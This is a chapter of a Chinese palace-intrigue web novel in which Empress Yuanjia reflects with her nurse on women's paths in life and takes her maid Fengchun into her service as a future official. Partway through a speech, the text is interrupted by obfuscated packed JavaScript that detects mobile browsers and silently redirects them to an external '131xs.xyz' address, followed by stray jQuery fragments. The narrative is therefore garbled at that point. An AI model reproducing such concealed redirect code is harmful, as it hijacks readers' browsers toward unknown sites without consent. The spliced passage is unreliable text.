106. 明出路

作品:《君妇升职手札

    “女君方才,不该提起胡玉楼,也不该,提起庄娘子的。”


    徐妈妈拧着眉,颇有些不赞同。


    “……我就是突然间想起来了。”


    元嘉面露怀色,“那时候,就是还在太子府的时候,熙宁长公主带着庄娘子她们,我们在竹林里习舞、奏曲,还约好要去胡玉楼看庄娘子新编的乐舞……可如今,除了偶尔能从长公主嘴里听见几声庄娘子近况外,却是再没有见过面了。”


    元嘉是真的遗憾,有些事情,在宫外时便没能做到,进了宫就更不可能做不到了。她转过身,不经意间撞进徐妈妈满盛忧色的眼底,无奈失笑,“我知道的,往后不会再问这样的话了……真的只是突然间想起来了。”


    徐妈妈上前把人扶住,“奴婢哪里会不明白,您只是怀念起从前在外头的日子了……可您已经是皇后了,这样的身份,是断不能与平康坊、与平康坊里头的胡姬娘子们再有牵连的。”


    元嘉低低嗯了一声,又与徐妈妈一起离了暖阁,两人深一脚浅一脚地往后殿走去。


    “……这位谭郎君实在艰难,好在保住了探花之位,不日又能将老母阿姊接来上京,想是否极泰来,以后便都是好日子了。”


    像是要转移元嘉的注意力一般,徐妈妈又提起了谭思文。


    元嘉又嗯了一声,也不知在想些什么,神色显出几分莫名。


    “女君方才,怎么会想到封黄娘子做女官的,还说什么迁居的话……若非您思虑周全,只怕谭郎君今次,还难与孟家善了呢。”


    徐妈妈想了想,又刻意问道。


    “……男人被女人跌了面子,心里是会不痛快的吧?”


    元嘉回过神,先是不确定般反问一句,而后带出一声轻哼,“那般众目睽睽之下,里子和面子都没了,自己还成了祸累家族的罪人,谁会甘心呢……”


    说着又跟想起了什么似的,元嘉有些不快地眯起眼睛,“你瞧见了没有,那厮分明是被陛下处置的,可到头来却不敢对陛下生出半分不满,反跟看仇人似的盯着我……呸!只敢找女人麻烦的孬种!”


    元嘉提起来便觉得生气,忍不住又啐了一口。


    “似孟延这样的人,原也不配为官做宰的,陛下贬他为白丁,又让您安抚谭郎君,这是心里有数,要重用真正的人才呢!”


    徐妈妈唯恐元嘉气坏了身子,又连忙宽慰道。


    “是啊,陛下想重用谭思文,他居然愿意重用一个──”


    元嘉堪堪收声,眼底却显出几分讶异与怔愣,“我原以为,沁姊姊在前朝官位稳固,是先帝为着昭献大长公主的缘故,陛下只是顾及先帝才未做调任……如今看来,竟也有他自己的意思,男女大防根本比不过得个有用的人才……可对自己的后宫却是这般……”


    最后一句说得有些小声了,近如徐妈妈也只听清只言片语。她的表情更柔和了些,“女君浑说什么呢,陛下初临帝位,定是想搜罗人才,强盛国朝的,这是好事呀!”


    “是啊……”


    元嘉没有多做解释,只顺着前者的话附和了一声,又道:“徐妈妈,我今日见了谭思文与黄翠娘,恍惚间竟想起了许多故人……同为女子,她们可比我厉害多了。”


    “女君怎会这样想?”徐妈妈面露不解,“您的身份贵重,天底下不知有多少女子羡慕呢。”


    “……羡慕?”


    元嘉看向徐妈妈,一时失笑,“妈妈说笑了,有谁会羡慕一个被困在四方天地里的人呢?今日若非陛下默许,我根本走不到前朝之上,更遑论去替谭思文说话了。”


    “女君分明是钻牛角尖了。”徐妈妈慈爱地看着元嘉,“奴婢旁眼瞧着,陛下对探花郎的事情早有决断,今日本可以自己了结的,却还是给了您去宣政殿的机会,之后更是全然放权,让您去做那安抚人心的事情,又让您得了谭、黄二人的感激……便是陛下有旁的心思又如何,好处不都在您这儿吗?”


    元嘉不想徐妈妈也看出些异处,蓦地停下脚步,又很快轻笑出声,“妈妈瞧我,早就清楚的事情,这会儿倒为了些无谓的感慨,又把自己给绕进去了……真是个棒槌脑袋。”


    顿了顿,又道:“妈妈知道我方才在想什么吗?”


    说罢,也不等徐妈妈答话,便又自顾自地开口:“我看到谭思文的样子,突然就想起了沁姊姊和章家小娘子……还有阿沅。她上次写信来,说自己与谢四娘子旅居至一处村镇,见镇上孩童识字者甚少,女童未及笄而出嫁者又逾半数之多,遂决定落脚在此,与四娘子一起行教化之事,怕是要停个一年半载了。”


    “柳娘子如今也有了寄托,不再日日沉湎于悲痛之中,女君想来很快便能和柳娘子在上京重逢了。”


    徐妈妈衷心道。


    “谭思文想为女子争权,沁姊姊巾帼不输儿郎,章家小娘子奉身医道……便是阿沅,如今也找到了自己可寄求的事情,”元嘉看着簌簌作响的梧桐,半似感慨,半似明悟,“这世道,女子的出路也不是只有嫁人这一条的……”


    “女君又何尝不是呢?”


    元嘉愕然转身,只听见徐妈妈温和的声音在耳边回荡──


    “……女君莫不是忘了,那章娘子是求了谁才进的宫?那探花郎又是在向谁深表谢意?还有欧阳将军,当时又是谁扯着她的袖子,开解她去边城的?便是柳娘子,自她离京到现在,您何时与她断过书信,不还是日日牵绊、月月挂怀的吗?”


    见元嘉因她的话而怔愣原地,徐妈妈忍不住又笑道:“再者,女子嫁人又不是什么错路……欧阳将军如今不也有虞副将相伴左右了么,可在前朝,她还是威风凛凛的大将军,这一点并无损陛下对她的看重。女君的夫婿是天下人的君主,所以您高居皇后之位,是大周的国母。您帮着她们成了夙愿,不也是替自己选了条不一样的出路么……女君虽身在后宫,可心未必也要留在后宫,既有陛下施权,女君亦名正言顺,只依着心意去做如何?”


    前半段话还能勉强算作劝慰,到最后几句时,徐妈妈话里暗含的意味便再明显不过了。她看着元嘉因惊愕而微微睁大的双眸,眼中满是纵容,“或许是奴婢想多了,总觉得女君的心里藏了许多事。刚嫁进太子府的那段日子,您每每见过陛下,再独处时便会较之前沉默许多,有时还会无端端的发起呆来。后来日子久了,您愈发游刃有余起来,奴婢便也少见您这副模样了……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808376|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可今日,陛下召您过去说事,从宣政殿离开后,奴婢便总感觉又从您身上窥到了过去的影子,这才大胆一说。”


    元嘉眼里闪着复杂的情绪,嘴唇动了动,却又生生将话咽了回去,良久方道:“……有妈妈相伴,是我的福气。”


    顿了顿,又道:“妈妈替我把逢春唤进来吧。送给探花郎的那些东西,我还得再亲自交代几句才是。”


    原是两人说话间已踱回了后殿。


    徐妈妈看着元嘉脸上重新绽开的笑颜,心中松了口气的同时,亦是含笑答应。


    不多时,换了逢春入内服侍。


    “……你如今,还是不想嫁人吗?”


    元嘉无由来的问了一句。


    逢春正聚精会神地等候吩咐,不想听见这么一句,愣了一下才摇头否认。


    “是了,那些男人也配不上你。”


    元嘉喟叹一句,视线轻飘飘地从逢春脸上掠过,“申时安方才奉命过来送东西,你何以未让他进暖阁回话?还有那本册子,又为何会是你的字迹?”


    闻言,逢春神色一凛,先朝元嘉屈膝作请罪状,而后才道:“申内官以为奴婢知情,领着人送东西来时也不曾避忌过什么,奴婢便也清楚了宣政殿上发生的事情……奴婢以为,此事虽由陛下决断,可当着一众大臣的面,替探花郎说话的却是女君。陛下既给了女君安抚谭家夫妇之权,一切自然该以女君的名义给出去,又何必再让申内官费心呢。”


    元嘉眼底的笑意扩大,“那又为何换了本册子?”


    逢春垂目再答:“陛下着人送来的都是些好东西,寻常人家一辈子都未必能见到两件……可方才探花郎带着夫人进殿时,奴婢却瞧见她们的衣袍内里,其上满是缝补的痕迹,料想是日子捉襟见肘,再无余钱可供安身,这才大着胆子添了银两,又刻意取了些散碎锞子,以供探花郎解燃眉之急。”


    顿了顿,又道:“与其让探花郎为着两份字迹不一的册子奇怪,倒不如奴婢重新誊抄一本全的,也省了女君解释的烦恼。”


    “……你就不怕我治你的罪?”


    元嘉沉下声音,故意道。


    “奴婢与妹妹如今吃穿不愁,过得更比外头的官家娘子还要体面,出去了谁不高看几分……这一切,全赖当年女君和季家主君、夫人慈悲,奴婢二人铭记在心,自当为女君端茶倒水、鞠躬尽瘁以报。”


    逢春梗着脖子,坚持道。


    “端茶倒水的活计谁都能做,可你却须走到我的身边来。”元嘉一点点笑了起来,“往后,谭思文和黄翠娘来清宁宫请安的时候,你便随我一起,也听一听外头发生的事,学着做一个内舍人……也试着去做一回男人的主,如何?”


    “……女君?”


    逢春喃喃道。


    “我并非劝你嫁人,说他们配不上你也是真的……只是,莫要因惧怕他们而退避。你要学着站在他们面前,学着凌驾于他们之上,也尝一尝他们畏你、惧你,却又不得不谄媚讨好你是何滋味。”


    逢春的表情从犹豫,到挣扎,再到最后的坚定,少顷跪在地上,面朝元嘉深深一叩首,沉声道──


    “……奴婢定不负女君所望。”